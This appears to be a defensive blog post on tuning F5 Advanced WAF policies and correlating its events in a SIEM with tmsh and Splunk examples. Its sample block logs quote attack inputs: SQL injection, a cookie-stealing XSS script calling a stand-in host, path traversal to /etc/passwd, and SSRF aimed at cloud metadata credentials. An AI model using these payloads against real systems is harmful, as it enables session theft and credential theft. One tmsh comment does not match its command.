F5 Advanced WAF (the product formerly known as BIG-IP ASM) sits between your users and your application and makes a binary call on every HTTP request. That sounds simple. In practice, a freshly deployed WAF in blocking mode will break your application within minutes if you haven’t tuned it, and a WAF left in transparent mode for six months because nobody had time to tune it is a logging service with marketing copy. This post covers the attack surface it’s designed to stop, how to build a policy that actually blocks things without constant false positives, and how to feed its events into a SIEM in a way that generates actionable signal rather than noise.
If you haven’t read WAF Layer 5 vs Layer 7, that post covers why inspection depth determines what a WAF can and can’t see. F5 Advanced WAF operates at Layer 7, meaning it terminates TLS, reassembles streams, and parses HTTP before making decisions.
The Attack Surface
SQL Injection
Still the most common web application attack and still surprisingly effective against applications that haven’t parameterised their queries. The payload hides in any user-controlled input: GET parameters, POST bodies, JSON fields, cookie values, HTTP headers like X-Forwarded-For that get logged and queried.
# F5 ASM violation log: SQL injection in POST body
2026-10-26T03:14:22Z BLOCK
src_ip=198.51.100.44 src_port=54801
method=POST uri=/api/v1/users/search
violation=VIOL_PARAMETER_VALUE_ATTACK
attack_type=SQL_INJECTION
sig_id=200002147
sig_name="SQL injection attempt: boolean-based blind"
parameter=query
payload=admin' AND 1=1--
severity=Critical policy=prod-api-policy
F5 maintains signature sets covering union-based, boolean-based, error-based, and time-based blind injection. The signature update frequency matters here: a campaign using a novel encoding (double-URL encoding, Unicode bypass, comment insertion) may not match an existing signature. The behavioral anomaly engine is what catches the gaps.
Cross-Site Scripting
XSS lives at the intersection of injection and browser trust. Reflected XSS puts the payload in a URL parameter that gets echoed into a response. Stored XSS writes it to a database where it executes for every future visitor. DOM-based XSS never hits the server at all, which means a WAF operating on server responses can’t catch it. F5 handles reflected and stored XSS but cannot inspect client-side JavaScript execution.
# F5 ASM violation log: XSS in query parameter
2026-10-26T04:02:51Z BLOCK
src_ip=203.0.113.9 src_port=61002
method=GET uri=/search?q=<script>fetch('https://evil.invalid/c?c='+document.cookie)</script>
violation=VIOL_PARAMETER_VALUE_ATTACK
attack_type=XSS
sig_id=200101032
sig_name="XSS: script tag with event handler"
parameter=q
severity=High policy=prod-web-policy
Command Injection and Path Traversal
Command injection targets server-side execution: a user input that ends up in a shell command, a filename lookup, or a subprocess call. Path traversal uses ../ sequences to escape the intended directory scope and read arbitrary files.
# Path traversal via decoded URI
2026-10-26T04:17:03Z BLOCK
src_ip=203.0.113.44 src_port=49211
method=GET uri=/download?file=../../../../etc/passwd
violation=VIOL_PARAMETER_VALUE_ATTACK VIOL_EVASION
attack_type=PATH_TRAVERSAL
evasion=DECODED_ELEMENT_ATTACK (double URL-encoded: %252e%252e%252f)
sig_name="Path traversal: dot-dot-slash sequences"
severity=Critical policy=prod-api-policy
Note the VIOL_EVASION here. F5 specifically flags when an attacker is using encoding to try to bypass signature matching. That flag is worth correlating on in your SIEM because it indicates intent, not just a malformed request.
SSRF
Server-Side Request Forgery turns your server into a proxy. The attacker supplies a URL and your application fetches it, potentially hitting internal services, cloud metadata endpoints (169.254.169.254), or internal API gateways that aren’t exposed externally.
# SSRF attempt targeting AWS metadata
2026-10-26T05:01:12Z BLOCK
src_ip=198.51.100.83 src_port=55001
method=POST uri=/api/v2/webhooks
violation=VIOL_PARAMETER_VALUE_ATTACK
attack_type=SERVER_SIDE_REQUEST_FORGERY
parameter=callback_url
payload=http://169.254.169.254/latest/meta-data/iam/security-credentials/
severity=Critical policy=prod-api-policy
F5’s SSRF detection relies on pattern matching against known metadata service ranges and loopback addresses. Custom signatures covering your internal IP ranges are worth adding because F5 doesn’t know your network topology.
API Abuse and Parameter Tampering
This one is less about signatures and more about schema enforcement. A REST API that accepts {"role":"user"} at account creation should reject {"role":"admin"}. A numeric ID field should reject negative numbers, UUIDs, and SQL fragments. F5 Advanced WAF’s parameter learning and JSON schema validation handle this, but only if you’ve defined what valid looks like.
// F5 parameter definition for a numeric user ID field
{
"name": "user_id",
"type": "integer",
"minimum": 1,
"maximum": 9999999,
"allow_empty": false,
"meta_characters": "none"
}
Without this kind of definition, the WAF will pass user_id=-1 UNION SELECT ... because it looks like a normal request.
HTTP Request Smuggling
Request smuggling exploits inconsistency between how a front-end (load balancer or CDN) and a back-end parse Content-Length and Transfer-Encoding: chunked headers in the same request. It can be used to poison the request queue and hijack another user’s session or bypass WAF inspection entirely. F5 detects the most common variants (CL-TE, TE-CL) but detection here depends on whether F5 is the termination point or a pass-through.
Tuning: Not Drowning in False Positives
Start in Transparent Mode, Build Baselines
Deploy with the policy in transparent mode for two to four weeks. F5’s learning engine (Traffic Learning in the UI, policy builder in older firmware) observes real traffic and suggests what to allow. It classifies requests by URL, parameter name, and value type. After the learning period you review the suggestions and accept or reject them before flipping to blocking.
The alternative, starting in blocking mode, will generate calls from the application team within the hour because legitimate POST bodies often trigger SQL signatures, JavaScript-heavy applications throw XSS alerts, and anything doing file uploads will hit size violation rules.
# BIG-IP tmsh commands for policy mode management
# Check current enforcement mode
tmsh show asm policy | grep -E "Enforcement Mode|Policy Name"
# Set a named policy to transparent (review traffic without blocking)
tmsh modify asm policy /Common/prod-api-policy active
# Export current learning suggestions for review
tmsh list asm policy /Common/prod-api-policy suggestions
Handling False Positives
False positives fall into two categories: signatures that match legitimate traffic, and parameter definitions that are too strict. The process for each is different.
Signature false positive: A CMS editor sending HTML in a POST body will match XSS signatures constantly. The correct fix is to create a parameter-level signature exception for that specific parameter on that specific URL, not to globally disable the XSS signature set.
# F5 signature exception: disable XSS checks on the body_content parameter
# at /admin/posts/edit only, not globally
URL: /admin/posts/edit
Parameter: body_content
Disable signatures: XSS signatures (signature set: "Cross-Site Scripting Signatures")
Reason: Rich text editor sends raw HTML; XSS is enforced by output encoding at render time
Parameter definition false positive: A UUID field treated as a string will throw character set violations if the WAF expects alphanumeric only. Define the parameter explicitly with the correct type and character set.
Evasion Detection Settings
F5 has a category of violations specifically for evasion techniques: double encoding, null bytes, path traversal normalisation, and so on. These should almost always remain enabled because legitimate traffic almost never double-encodes characters. A request that triggers VIOL_EVASION alongside a VIOL_PARAMETER_VALUE_ATTACK is more likely a real attack than a false positive.
# Key evasion detection settings to verify are enabled
tmsh list asm policy /Common/prod-api-policy general | grep -E "evasion|decode"
# Expected output includes:
# evasion-techniques-enabled yes
# decode-all-requests yes
Bot Detection and Rate Limiting
Advanced WAF includes bot signature detection and a JavaScript challenge mechanism. Bots that can’t execute JavaScript (most scrapers, scanners, and credential-stuffing tooling) fail the challenge and are blocked or rate-limited. Legitimate browsers pass silently.
Rate limiting is per-URI, not just per-IP. A single IP sending 2 requests per second to /api/v1/login looks different in your logs than 2000 IPs each sending 1 request per second. F5’s DoS profiles handle both, but the thresholds need tuning to your actual traffic baseline.
Detection and Response
Violation Severity and Action Mapping
F5 assigns violations a severity. How you respond to each level should be defined upfront, not improvised per-incident.
| Severity | Typical Violations | Default Response | Recommended Response |
|---|---|---|---|
| Critical | SQLi, Command Injection, Path Traversal | Block request | Block + alert SIEM + 24h IP block |
| High | XSS, XXE, SSRF | Block request | Block + alert SIEM |
| Medium | Parameter violations, bot detection | Block or CAPTCHA | CAPTCHA challenge + log |
| Low | Encoding anomalies alone | Log | Log + correlate in SIEM |
| Informational | Policy learning suggestions | Log | Review periodically |
The 24-hour IP block for critical violations is debatable. If the attacker is using rotating residential proxies it doesn’t help. If they’re using a fixed IP or a small subnet, it buys time. The decision is policy, not technical.
Incident Response Workflow
When a Critical alert fires:
- Check
src_ipagainst threat intelligence: is this a known scanner (Shodan, Censys, commercial vuln scanner) or something novel? - Check the URI: is the attacker targeting a real endpoint or scanning for paths that don’t exist?
- Check violation diversity: is it a single signature hit or multiple attack types from the same IP? Multiple types suggest active enumeration.
- Check timing: isolated burst or sustained campaign?
# Quick triage: pull all violations from one src_ip in the last hour
# via F5 REST API
curl -sk -u admin:$PASSWORD \
"https://bigip.internal/mgmt/tm/asm/events/requests?\$filter=src_ip eq '198.51.100.44' and date_time gt '$(date -u -d '1 hour ago' +%Y-%m-%dT%H:%M:%SZ)'" \
| python3 -m json.tool \
| grep -E '"attack_type"|"sig_name"|"uri"|"date_time"'
SIEM Integration
Syslog Configuration
F5 forwards ASM events via syslog. Configure a logging profile that sends to your SIEM collector at CEF or key-value format. CEF is preferable because most SIEMs parse it natively.
# Create a remote logging destination (Splunk/QRadar/Elastic receiver)
tmsh create sys log-config destination remote-high-speed-log \
siem-asm-dest { pool-name siem-pool protocol udp }
# Create a publisher
tmsh create sys log-config publisher asm-siem-publisher {
destinations add { siem-asm-dest }
}
# Create an ASM logging profile pointing at the publisher
tmsh create asm log-profile siem-asm-profile {
application add {
siem-asm-log {
filter { request-type all }
storage-format cef
remote-storage remote
remote-storage-publisher asm-siem-publisher
}
}
}
Key Fields to Index
Not every field in a WAF event is worth indexing in your SIEM. The ones that matter for detection and investigation:
| Field | Why It Matters |
|---|---|
src_ip |
Primary correlation key for threat intel lookups |
attack_type |
Grouping for alert logic |
sig_id / sig_name |
Signature-level triage |
uri |
Identify targeted endpoints |
method |
POST-heavy scans behave differently from GET scans |
parameter |
Which input is being attacked |
violation_rating |
F5’s risk score (0-5); correlate with severity |
response_code |
Was the request blocked or did it reach the app? |
x_forwarded_for |
True source IP if behind another proxy |
SIEM Correlation Rules
These are the rules worth building, in rough priority order.
Rule 1: Critical violation from IP not previously seen
# Splunk SPL
index=waf sourcetype=f5:asm severity=Critical
| eval first_seen=if(isnull(first_seen), _time, first_seen)
| stats min(_time) as first_seen count as hit_count by src_ip
| where first_seen > relative_time(now(), "-1h")
| join src_ip [ search index=waf sourcetype=f5:asm | stats count by src_ip | where count > 0 ]
| where hit_count >= 3
| table src_ip first_seen hit_count
Rule 2: Single IP hitting multiple attack types (scanner/active exploitation)
# Splunk SPL
index=waf sourcetype=f5:asm
| stats dc(attack_type) as unique_attacks count as total_hits by src_ip
| where unique_attacks >= 3 AND total_hits >= 10
| sort -unique_attacks
Rule 3: WAF bypass attempt (evasion violation)
# Alert when VIOL_EVASION fires alongside any attack violation
index=waf sourcetype=f5:asm violation_name=VIOL_EVASION
| join src_ip uri [
search index=waf sourcetype=f5:asm violation_name!=VIOL_EVASION severity=Critical
]
| stats count by src_ip uri attack_type
Rule 4: Attacks reaching the application (response_code != 403)
This one matters most. If F5 is in transparent mode, or a violation was below the blocking threshold, the request gets through. Correlating WAF events with application logs where the response code was 200 or 500 identifies attacks that weren’t stopped.
# Splunk SPL: WAF-detected attack that got a 200 response
index=waf sourcetype=f5:asm severity IN (Critical, High) response_code=200
| stats count by src_ip attack_type uri
| sort -count
A 500 response after a SQLi hit is worth investigating immediately: it may indicate the injection hit a real query and caused an error, not a clean block.
Rule 5: Account takeover / credential stuffing via login endpoint
# High request volume to login endpoint from distributed IPs (low-and-slow ATO)
index=waf sourcetype=f5:asm uri="/api/v1/auth/login" method=POST
| bin _time span=5m
| stats dc(src_ip) as unique_ips count as req_count by _time
| where unique_ips > 50 AND req_count > 200
Responding to SIEM Alerts
SIEM alerts from WAF events should route to one of three outcomes:
- False positive: log it, create a tuning ticket, do not page anyone at 3am for a scanner hitting
/adminon an endpoint that returns 404 - True positive, blocked: document in the incident log, check if the same IP is in threat intel, close
- True positive, reached the application: this is your incident response trigger. Pull application logs, check whether the attack succeeded, scope the blast radius
The WAF event tells you what was attempted. The application logs tell you whether it worked. Both are required for a complete picture. A WAF that fires alerts nobody correlates against app-layer results is contributing noise, not security.
A Note on F5 Versions
BIG-IP Advanced WAF is the product name for versions 16.x and later. Earlier versions use the ASM module name. The management API endpoints, log formats, and some tmsh paths differ between major versions. The configuration logic above applies to 17.x; 15.x and 16.x use identical concepts with slightly different command paths in places. If you’re still on 14.x, the signature update mechanism and REST API coverage are materially different and the upgrade case is strong.
The core principle stays constant across versions: a WAF is a decision point, not a passive inspector. What you do with the decisions, how you tune the policy, and how you correlate the output in a SIEM is what separates a WAF that stops attacks from one that generates a dashboard nobody reads.